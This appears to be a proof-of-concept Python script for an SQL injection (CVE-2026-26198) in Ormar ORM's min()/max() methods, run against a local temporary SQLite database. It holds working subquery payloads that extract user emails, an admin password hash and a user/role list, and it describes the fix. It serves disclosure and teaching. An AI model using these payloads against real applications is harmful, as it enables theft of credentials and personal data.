Ormar ORM SQL Injection via min()/max() Aggregate Methods (CVE-2026-26198)

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103

"""
CVE-2026-26198 — Safe Exploit Demonstration

Shows how an attacker can leverage the unvalidated min()/max() methods
to extract sensitive data from unrelated database tables.

Everything runs against an in-memory SQLite database. No external
systems are touched.

Usage:
    python exploit_demo.py
"""

import os
import tempfile

from vulnerable_app import ProductQuerySet, create_demo_database


def print_header(title: str) -> None:
    print(f"\n{'='*60}")
    print(f"  {title}")
    print(f"{'='*60}\n")


def print_step(num: int, desc: str) -> None:
    print(f"  [{num}] {desc}")


def demonstrate():
    # Setup: create a temp database
    db_fd, db_path = tempfile.mkstemp(suffix=".db")
    os.close(db_fd)

    try:
        create_demo_database(db_path)
        products = ProductQuerySet(db_path=db_path)
        qs = products.get_vulnerable_queryset()

        print_header("CVE-2026-26198: SQL Injection in Ormar ORM")

        # Step 1: Normal usage
        print_step(1, "Normal usage — getting the highest product price")
        result = qs.max("price")
        print(f"      max(price) = {result}")
        print(f"      Query: SELECT max(price) FROM products")
        print(f"      ✅ This is the intended behavior\n")

        # Step 2: The attack — inject a subquery
        print_step(2, "ATTACK — injecting a subquery to steal user emails")
        payload = "(SELECT group_concat(email) FROM users)"
        result = qs.max(payload)
        print(f"      Payload:  max({payload})")
        print(f"      Query:    SELECT max({payload}) FROM products")
        print(f"      Result:   {result}")
        print(f"      ⚠️  LEAKED: All user emails from a completely different table!\n")

        # Step 3: Escalate — steal password hashes
        print_step(3, "ESCALATE — extracting admin password hash")
        payload = "(SELECT password_hash FROM users WHERE role='admin')"
        result = qs.max(payload)
        print(f"      Payload:  max({payload})")
        print(f"      Result:   {result}")
        print(f"      ⚠️  LEAKED: Admin password hash!\n")

        # Step 4: Full table dump
        print_step(4, "FULL DUMP — extracting all usernames and roles")
        payload = "(SELECT group_concat(username || ':' || role) FROM users)"
        result = qs.max(payload)
        print(f"      Payload:  max({payload})")
        print(f"      Result:   {result}")
        print(f"      ⚠️  LEAKED: Complete user roster with privilege levels!\n")

        # Step 5: Show that sum() is protected (the inconsistency)
        print_step(5, "COMPARISON — sum() rejects the same attack")
        try:
            qs.sum("(SELECT 1 FROM users)")
            print(f"      ❌ Sum should have rejected this!")
        except ValueError as e:
            print(f"      sum() raised ValueError: {e}")
            print(f"      ✅ sum() validates the column name, but min()/max() don't\n")

        # Summary
        print_header("Summary")
        print("  The vulnerability exists because min() and max() skip the")
        print("  column validation that sum() and avg() perform.")
        print()
        print("  Impact: Any endpoint that passes user input to min()/max()")
        print("  allows unauthenticated attackers to read the ENTIRE database.")
        print()
        print("  Real-world scenario: A FastAPI endpoint like")
        print('    GET /products/stats?aggregate=max&field=price')
        print("  becomes a full database dump if 'field' reaches ormar's max().")
        print()
        print("  Fix: Validate column names against the model's known fields")
        print("  BEFORE they reach sqlalchemy.text(). See patched_app.py")

    finally:
        os.unlink(db_path)


if __name__ == "__main__":
    demonstrate()